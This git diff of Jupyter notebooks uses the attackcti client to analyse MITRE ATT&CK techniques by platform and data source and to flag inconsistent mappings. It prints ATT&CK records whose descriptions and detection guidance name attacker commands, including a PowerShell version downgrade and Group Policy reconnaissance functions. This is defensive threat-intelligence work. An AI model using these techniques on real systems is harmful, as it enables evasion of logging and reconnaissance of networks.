0mitre-attackmacOS{'kill_chain_name': 'mitre-attack', 'phase_nam...Resource ForkingT1564.009Command
1mitre-attackmacOS{'kill_chain_name': 'mitre-attack', 'phase_nam...Resource ForkingT1564.009Process
2mitre-attackmacOS{'kill_chain_name': 'mitre-attack', 'phase_nam...Resource ForkingT1564.009File
3mitre-attackWindows{'kill_chain_name': 'mitre-attack', 'phase_nam...Downgrade AttackT1562.010Process
4mitre-attackWindows{'kill_chain_name': 'mitre-attack', 'phase_nam...Downgrade AttackT1562.010Command
\n", + "
" + ], + "text/plain": [ + " matrix platform tactic \\\n", + "0 mitre-attack macOS {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "1 mitre-attack macOS {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "2 mitre-attack macOS {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "3 mitre-attack Windows {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "4 mitre-attack Windows {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "\n", + " technique technique_id data_sources \n", + "0 Resource Forking T1564.009 Command \n", + "1 Resource Forking T1564.009 Process \n", + "2 Resource Forking T1564.009 File \n", + "3 Downgrade Attack T1562.010 Process \n", + "4 Downgrade Attack T1562.010 Command " + ] + }, + "execution_count": 44, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_data = techniques_with_data_sources\n", + "\n", + "attributes = ['platform','tactic','data_sources'] # In attributes we are going to indicate the name of the columns that we need to split\n", + "\n", + "for a in attributes:\n", + " s = techniques_data.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", + " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", + " s.name = a\n", + " # We name \"s\" with the same name of \"a\".\n", + " techniques_data=techniques_data.drop(a, axis=1).join(s).reset_index(drop=True)\n", + " # We drop the column \"a\" from \"techniques_data\", and then join \"techniques_data\" with \"s\"\n", + "\n", + "# Let's re-arrange the columns from general to specific\n", + "techniques_data_2=techniques_data.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n", + "\n", + "# We are going to edit some names inside the dataframe to improve the consistency:\n", + "techniques_data_3 = techniques_data_2.replace(['Process monitoring','Application logs'],['Process Monitoring','Application Logs'])\n", + "\n", + "techniques_data_3.head()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Do you remember data sources names with a reference to Windows? After splitting the dataframe by platforms, tactics and data sources, are there any macOC or linux techniques that consider windows data sources? Let's identify those rows:" + ] + }, + { + "cell_type": "code", + "execution_count": 45, + "metadata": {}, + "outputs": [], + "source": [ + "# After splitting the rows of the dataframe, there are some values that relate windows data sources with platforms like linux and masOS.\n", + "# We need to identify those rows\n", + "conditions = [(techniques_data_3['platform']=='Linux')&(techniques_data_3['data_sources'].str.contains('windows',case=False)== True),\n", + " (techniques_data_3['platform']=='macOS')&(techniques_data_3['data_sources'].str.contains('windows',case=False)== True),\n", + " (techniques_data_3['platform']=='Linux')&(techniques_data_3['data_sources'].str.contains('powershell',case=False)== True),\n", + " (techniques_data_3['platform']=='macOS')&(techniques_data_3['data_sources'].str.contains('powershell',case=False)== True),\n", + " (techniques_data_3['platform']=='Linux')&(techniques_data_3['data_sources'].str.contains('wmi',case=False)== True),\n", + " (techniques_data_3['platform']=='macOS')&(techniques_data_3['data_sources'].str.contains('wmi',case=False)== True)]\n", + "# In conditions we indicate a logical test\n", + "\n", + "choices = ['NO OK','NO OK','NO OK','NO OK','NO OK','NO OK']\n", + "# In choices, we indicate the result when the logical test is true\n", + "\n", + "techniques_data_3['Validation'] = np.select(conditions,choices,default='OK')\n", + "# We add a column \"Validation\" to \"techniques_data_3\" with the result of the logical test. The default value is going to be \"OK\"" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "What is the inconsistent data?" + ] + }, + { + "cell_type": "code", + "execution_count": 46, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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matrixplatformtactictechniquetechnique_iddata_sourcesValidation
31mitre-attackLinux{'kill_chain_name': 'mitre-attack', 'phase_nam...System Language DiscoveryT1614.001Windows RegistryNO OK
34mitre-attackmacOS{'kill_chain_name': 'mitre-attack', 'phase_nam...System Language DiscoveryT1614.001Windows RegistryNO OK
68mitre-attackmacOS{'kill_chain_name': 'mitre-attack', 'phase_nam...Code Signing Policy ModificationT1553.006Windows RegistryNO OK
335mitre-attackLinux{'kill_chain_name': 'mitre-attack', 'phase_nam...Run Virtual InstanceT1564.006Windows RegistryNO OK
340mitre-attackmacOS{'kill_chain_name': 'mitre-attack', 'phase_nam...Run Virtual InstanceT1564.006Windows RegistryNO OK
\n", + "
" + ], + "text/plain": [ + " matrix platform tactic \\\n", + "31 mitre-attack Linux {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "34 mitre-attack macOS {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "68 mitre-attack macOS {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "335 mitre-attack Linux {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "340 mitre-attack macOS {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "\n", + " technique technique_id data_sources \\\n", + "31 System Language Discovery T1614.001 Windows Registry \n", + "34 System Language Discovery T1614.001 Windows Registry \n", + "68 Code Signing Policy Modification T1553.006 Windows Registry \n", + "335 Run Virtual Instance T1564.006 Windows Registry \n", + "340 Run Virtual Instance T1564.006 Windows Registry \n", + "\n", + " Validation \n", + "31 NO OK \n", + "34 NO OK \n", + "68 NO OK \n", + "335 NO OK \n", + "340 NO OK " + ] + }, + "execution_count": 46, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_analysis_data_no_ok = techniques_data_3[techniques_data_3.Validation == 'NO OK']\n", + "# Finally, we are filtering all the values with NO OK\n", + "\n", + "techniques_analysis_data_no_ok.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 47, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "There are 85 rows with inconsistent data\n" + ] + } + ], + "source": [ + "print('There are ',len(techniques_analysis_data_no_ok),' rows with inconsistent data')" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "What is the impact of this inconsistent data from a platform and data sources perspective?" + ] + }, + { + "cell_type": "code", + "execution_count": 48, + "metadata": {}, + "outputs": [], + "source": [ + "df = techniques_with_data_sources\n", + "\n", + "attributes = ['platform','data_sources']\n", + "\n", + "for a in attributes:\n", + " s = df.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", + " s.name = a\n", + " df=df.drop(a, axis=1).join(s).reset_index(drop=True)\n", + " \n", + "df_2=df.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n", + "df_3 = df_2.replace(['Process monitoring','Application logs'],['Process Monitoring','Application Logs'])\n", + "\n", + "conditions = [(df_3['data_sources'].str.contains('windows',case=False)== True),\n", + " (df_3['data_sources'].str.contains('powershell',case=False)== True),\n", + " (df_3['data_sources'].str.contains('wmi',case=False)== True)]\n", + "\n", + "choices = ['Windows','Windows','Windows']\n", + "\n", + "df_3['Validation'] = np.select(conditions,choices,default='Other')\n", + "df_3['Num_Tech'] = 1\n", + "df_4 = df_3[df_3.Validation == 'Windows']\n", + "df_5 = df_4.groupby(['data_sources','platform'])['technique'].nunique()\n", + "df_6 = df_5.to_frame().reset_index()" + ] + }, + { + "cell_type": "code", + "execution_count": 49, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "" + ], + "text/plain": [ + "alt.Chart(...)" + ] + }, + "execution_count": 49, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "alt.Chart(df_6).mark_bar().encode(x=alt.X('technique', stack=\"normalize\"), y='data_sources', color='platform').properties(height=200)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "There are techniques that consider Windows Error Reporting, Windows Registry, and Windows event logs as data sources and they also consider platforms like Linux and masOS. We do not need to consider this rows because those data sources can only be managed at a Windows environment. These are the techniques that we should not consider in our data base:" + ] + }, + { + "cell_type": "code", + "execution_count": 50, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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techniquedata_sources
2558Event Triggered ExecutionWMI
31System Language DiscoveryWindows Registry
3911Input CaptureWindows Registry
3818Indicator Removal on HostWindows Registry
3543Two-Factor Authentication InterceptionWindows Registry
3374Browser ExtensionsWindows Registry
3123Service StopWindows Registry
3108Inhibit System RecoveryWindows Registry
2700Create or Modify System ProcessWindows Registry
2560Event Triggered ExecutionWindows Registry
2519Boot or Logon Autostart ExecutionWindows Registry
2241Abuse Elevation Control MechanismWindows Registry
2084Unsecured CredentialsWindows Registry
2007Subvert Trust ControlsWindows Registry
4103Boot or Logon Initialization ScriptsWindows Registry
1815KeyloggingWindows Registry
1692Adversary-in-the-MiddleWindows Registry
1396Impair DefensesWindows Registry
1350Disable or Modify ToolsWindows Registry
1322Disable or Modify System FirewallWindows Registry
1313Install Root CertificateWindows Registry
1177Hide ArtifactsWindows Registry
951System ServicesWindows Registry
831Hijack Execution FlowWindows Registry
730Hidden UsersWindows Registry
415Indicator BlockingWindows Registry
348Hidden File SystemWindows Registry
335Run Virtual InstanceWindows Registry
68Code Signing Policy ModificationWindows Registry
1740Modify Authentication ProcessWindows Registry
4286OS Credential DumpingWindows Registry
\n", + "
" + ], + "text/plain": [ + " technique data_sources\n", + "2558 Event Triggered Execution WMI\n", + "31 System Language Discovery Windows Registry\n", + "3911 Input Capture Windows Registry\n", + "3818 Indicator Removal on Host Windows Registry\n", + "3543 Two-Factor Authentication Interception Windows Registry\n", + "3374 Browser Extensions Windows Registry\n", + "3123 Service Stop Windows Registry\n", + "3108 Inhibit System Recovery Windows Registry\n", + "2700 Create or Modify System Process Windows Registry\n", + "2560 Event Triggered Execution Windows Registry\n", + "2519 Boot or Logon Autostart Execution Windows Registry\n", + "2241 Abuse Elevation Control Mechanism Windows Registry\n", + "2084 Unsecured Credentials Windows Registry\n", + "2007 Subvert Trust Controls Windows Registry\n", + "4103 Boot or Logon Initialization Scripts Windows Registry\n", + "1815 Keylogging Windows Registry\n", + "1692 Adversary-in-the-Middle Windows Registry\n", + "1396 Impair Defenses Windows Registry\n", + "1350 Disable or Modify Tools Windows Registry\n", + "1322 Disable or Modify System Firewall Windows Registry\n", + "1313 Install Root Certificate Windows Registry\n", + "1177 Hide Artifacts Windows Registry\n", + "951 System Services Windows Registry\n", + "831 Hijack Execution Flow Windows Registry\n", + "730 Hidden Users Windows Registry\n", + "415 Indicator Blocking Windows Registry\n", + "348 Hidden File System Windows Registry\n", + "335 Run Virtual Instance Windows Registry\n", + "68 Code Signing Policy Modification Windows Registry\n", + "1740 Modify Authentication Process Windows Registry\n", + "4286 OS Credential Dumping Windows Registry" + ] + }, + "execution_count": 50, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_analysis_data_no_ok[['technique','data_sources']].drop_duplicates().sort_values(by='data_sources',ascending=True)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Without considering this inconsistent data, the final dataframe is:" + ] + }, + { + "cell_type": "code", + "execution_count": 51, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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matrixplatformtactictechniquetechnique_iddata_sourcesValidation
0mitre-attackmacOS{'kill_chain_name': 'mitre-attack', 'phase_nam...Resource ForkingT1564.009CommandOK
1mitre-attackmacOS{'kill_chain_name': 'mitre-attack', 'phase_nam...Resource ForkingT1564.009ProcessOK
2mitre-attackmacOS{'kill_chain_name': 'mitre-attack', 'phase_nam...Resource ForkingT1564.009FileOK
3mitre-attackWindows{'kill_chain_name': 'mitre-attack', 'phase_nam...Downgrade AttackT1562.010ProcessOK
4mitre-attackWindows{'kill_chain_name': 'mitre-attack', 'phase_nam...Downgrade AttackT1562.010CommandOK
\n", + "
" + ], + "text/plain": [ + " matrix platform tactic \\\n", + "0 mitre-attack macOS {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "1 mitre-attack macOS {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "2 mitre-attack macOS {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "3 mitre-attack Windows {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "4 mitre-attack Windows {'kill_chain_name': 'mitre-attack', 'phase_nam... \n", + "\n", + " technique technique_id data_sources Validation \n", + "0 Resource Forking T1564.009 Command OK \n", + "1 Resource Forking T1564.009 Process OK \n", + "2 Resource Forking T1564.009 File OK \n", + "3 Downgrade Attack T1562.010 Process OK \n", + "4 Downgrade Attack T1562.010 Command OK " + ] + }, + "execution_count": 51, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_analysis_data_ok = techniques_data_3[techniques_data_3.Validation == 'OK']\n", + "techniques_analysis_data_ok.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 52, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "There are 4703 rows of data that you can play with\n" + ] + } + ], + "source": [ + "print('There are ',len(techniques_analysis_data_ok),' rows of data that you can play with')" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Getting Techniques by Data Sources" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This function gets techniques' information that includes specific data sources" + ] + }, + { + "cell_type": "code", + "execution_count": 53, + "metadata": {}, + "outputs": [], + "source": [ + "data_source = 'PROCESS'" + ] + }, + { + "cell_type": "code", + "execution_count": 54, + "metadata": {}, + "outputs": [], + "source": [ + "results = lift.get_techniques_by_data_sources(data_source)" + ] + }, + { + "cell_type": "code", + "execution_count": 55, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "280" + ] + }, + "execution_count": 55, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "len(results)" + ] + }, + { + "cell_type": "code", + "execution_count": 56, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "list" + ] + }, + "execution_count": 56, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "type(results)" + ] + }, + { + "cell_type": "code", + "execution_count": 57, + "metadata": {}, + "outputs": [], + "source": [ + "results2 = lift.get_techniques_by_data_sources('pRoceSS','commAnd')" + ] + }, + { + "cell_type": "code", + "execution_count": 58, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "344" + ] + }, + "execution_count": 58, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "len(results2)" + ] + }, + { + "cell_type": "code", + "execution_count": 59, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-08T14:06:28.212Z', modified='2021-10-15T00:48:06.723Z', name='Downgrade Attack', description='Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)\\n\\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1562/010', external_id='T1562.010'), ExternalReference(source_name='CrowdStrike BGH Ransomware 2021', description='Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.', url='https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/'), ExternalReference(source_name='Mandiant BYOL 2018', description='Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 8, 2021.', url='https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique'), ExternalReference(source_name='Praetorian TLS Downgrade Attack 2014', description='Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.', url='https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_data_sources=['Command: Command Execution', 'Process: Process Metadata', 'Process: Process Creation'], x_mitre_detection='Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell –v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.', x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['Windows', 'Linux', 'macOS'], x_mitre_version='1.0')" + ] + }, + "execution_count": 59, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "results2[1]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.5" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/docs/playground/5-Collect_Techniques_by_Data_Sources.ipynb b/docs/playground/5-Collect_Techniques_by_Data_Sources.ipynb new file mode 100644 index 0000000..1ff8ca3 --- /dev/null +++ b/docs/playground/5-Collect_Techniques_by_Data_Sources.ipynb @@ -0,0 +1,157 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Get Techniques from Data Sources" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import Libraries" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client\n", + "\n", + "import logging\n", + "logging.getLogger('taxii2client').setLevel(logging.CRITICAL)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Initialize Client" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [], + "source": [ + "lift = attack_client()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Retrieve Techniques " + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [], + "source": [ + "techniques = lift.get_techniques_by_data_sources(\n", + " \"Network Traffic\",\n", + " \"Process\"\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "404" + ] + }, + "execution_count": 4, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "len(techniques)" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-08-06T13:10:12.916Z', modified='2021-10-15T23:16:28.296Z', name='Group Policy Discovery', description='Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\\\\\\\SYSVOL\\\\\\\\Policies\\\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\\n\\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1615', external_id='T1615'), ExternalReference(source_name='TechNet Group Policy Basics', description='srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.', url='https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/'), ExternalReference(source_name='ADSecurity GPO Persistence 2016', description='Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.', url='https://adsecurity.org/?p=2716'), ExternalReference(source_name='Microsoft gpresult', description='Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.', url='https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult'), ExternalReference(source_name='Github PowerShell Empire', description='Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.', url='https://github.com/EmpireProject/Empire')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Ted Samuels, Rapid7', 'Jonhnathan Ribeiro, 3CORESec, @_w0rk3r'], x_mitre_data_sources=['Network Traffic: Network Traffic Content', 'Active Directory: Active Directory Object Access', 'Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation'], x_mitre_detection='System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\\n\\nMonitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.', x_mitre_is_subtechnique=False, x_mitre_permissions_required=['User'], x_mitre_platforms=['Windows'], x_mitre_version='1.0')" + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques[0]" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "['Network Traffic: Network Traffic Content',\n", + " 'Active Directory: Active Directory Object Access',\n", + " 'Script: Script Execution',\n", + " 'Command: Command Execution',\n", + " 'Process: Process Creation']" + ] + }, + "execution_count": 6, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques[0]['x_mitre_data_sources']" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.5" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/docs/playground/ICS_ATTACK_Exploration.ipynb b/docs/playground/6-Explore_ICS_Attack.ipynb similarity index 53% rename from docs/playground/ICS_ATTACK_Exploration.ipynb rename to docs/playground/6-Explore_ICS_Attack.ipynb index 28d4d54..b158ced 100644 --- a/docs/playground/ICS_ATTACK_Exploration.ipynb +++ b/docs/playground/6-Explore_ICS_Attack.ipynb @@ -28,7 +28,10 @@ "metadata": {}, "outputs": [], "source": [ - "from taxii2client.v20 import Server" + "from taxii2client.v20 import Server\n", + "\n", + "import logging\n", + "logging.getLogger('taxii2client').setLevel(logging.CRITICAL)" ] }, { @@ -55,7 +58,7 @@ { "data": { "text/plain": [ - "[]" + "[]" ] }, "execution_count": 3, @@ -92,10 +95,10 @@ { "data": { "text/plain": [ - "[,\n", - " ,\n", - " ,\n", - " ]" + "[,\n", + " ,\n", + " ,\n", + " ]" ] }, "execution_count": 5, @@ -227,48 +230,19 @@ "metadata": {}, "outputs": [ { - "name": "stdout", - "output_type": "stream", - "text": [ - "{\n", - " \"type\": \"attack-pattern\",\n", - " \"id\": \"attack-pattern--2fedbe69-581f-447d-8a78-32ee7db939a9\",\n", - " \"created_by_ref\": \"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5\",\n", - " \"created\": \"2021-04-13T12:45:26.506Z\",\n", - " \"modified\": \"2021-04-13T12:45:26.506Z\",\n", - " \"name\": \"Remote System Information Discovery\",\n", - " \"description\": \"An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system\\u2019s operational role and model information can dictate whether it is a relevant target for the adversary\\u2019s operational objectives. In addition, the system\\u2019s configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system\\u2019s API.\",\n", - " \"kill_chain_phases\": [\n", - " {\n", - " \"kill_chain_name\": \"mitre-ics-attack\",\n", - " \"phase_name\": \"discovery-ics\"\n", - " }\n", - " ],\n", - " \"external_references\": [\n", - " {\n", - " \"source_name\": \"mitre-ics-attack\",\n", - " \"url\": \"https://collaborate.mitre.org/attackics/index.php/Technique/T0888\",\n", - " \"external_id\": \"T0888\"\n", - " }\n", - " ],\n", - " \"object_marking_refs\": [\n", - " \"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168\"\n", - " ],\n", - " \"x_mitre_data_sources\": [\n", - " \"Network protocol analysis\",\n", - " \"Packet capture\"\n", - " ],\n", - " \"x_mitre_platforms\": [\n", - " \"Safety Instrumented System/Protection Relay\",\n", - " \"Field Controller/RTU/PLC/IED\"\n", - " ]\n", - "}\n" - ] + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--35392fb4-a31d-4c6a-b9f2-1c65b7f5e6b9', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-14T15:25:32.143Z', modified='2021-10-14T15:25:32.143Z', name='Transient Cyber Asset', description='Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: NERC June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required.\\n\\nAdversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices.\\n\\nTransient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems.\\n\\nIn the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. (Citation: Maroochy - MITRE - 200808)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')], revoked=False, external_references=[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0864', external_id='T0864'), ExternalReference(source_name='NERC June 2021', description=' North American Electric Reliability Corporation. (2021, June 28). Glossary of Terms Used in NERC Reliability Standards. Retrieved October 11, 2021.', url='https://www.nerc.com/files/glossary_of_terms.pdf'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'), ExternalReference(source_name='NIST Apr 2013', description='National Institute of Standards and Technology. (2013, April). Security and Privacy Controls for Federal Information Systems and Organizations. Retrieved September 17, 2020.', url='https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf'), ExternalReference(source_name='NAFT Dec 2019', description='North America Transmission Forum. (2019, December). NATF Transient Cyber Asset Guidance. Retrieved September 25, 2020.', url='https://www.natf.net/docs/natf/documents/resources/security/natf-transient-cyber-asset-guidance.pdf'), ExternalReference(source_name='Emerson Exchange', description='Emerson Exchange. (n.d.). Increase Security with TPM, Secure Boot, and Trusted Boot. Retrieved September 25, 2020.', url='https://emersonexchange365.com/products/control-safety-systems/f/plc-pac-systems-industrial-computing-forum/8383/increase-security-with-tpm-secure-boot-and-trusted-boot'), ExternalReference(source_name='National Security Agency Feb 2016', description='National Security Agency. (2016, February). Position Zero: Integrity Checking Windows-Based ICS/SCADA Systems. Retrieved September 25, 2020.', url='https://apps.nsa.gov/iaarchive/library/ia-guidance/security-configuration/industrial-control-systems/position-zero-integrity-checking-windows-based-ics-scada-systems.cfm')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_data_sources=['Network Traffic: Network Flows', 'Network Traffic: Network Connections', 'Assets: Asset Inventory'], x_mitre_platforms=['Engineering Workstation'])" + ] + }, + "execution_count": 12, + "metadata": {}, + "output_type": "execute_result" } ], "source": [ 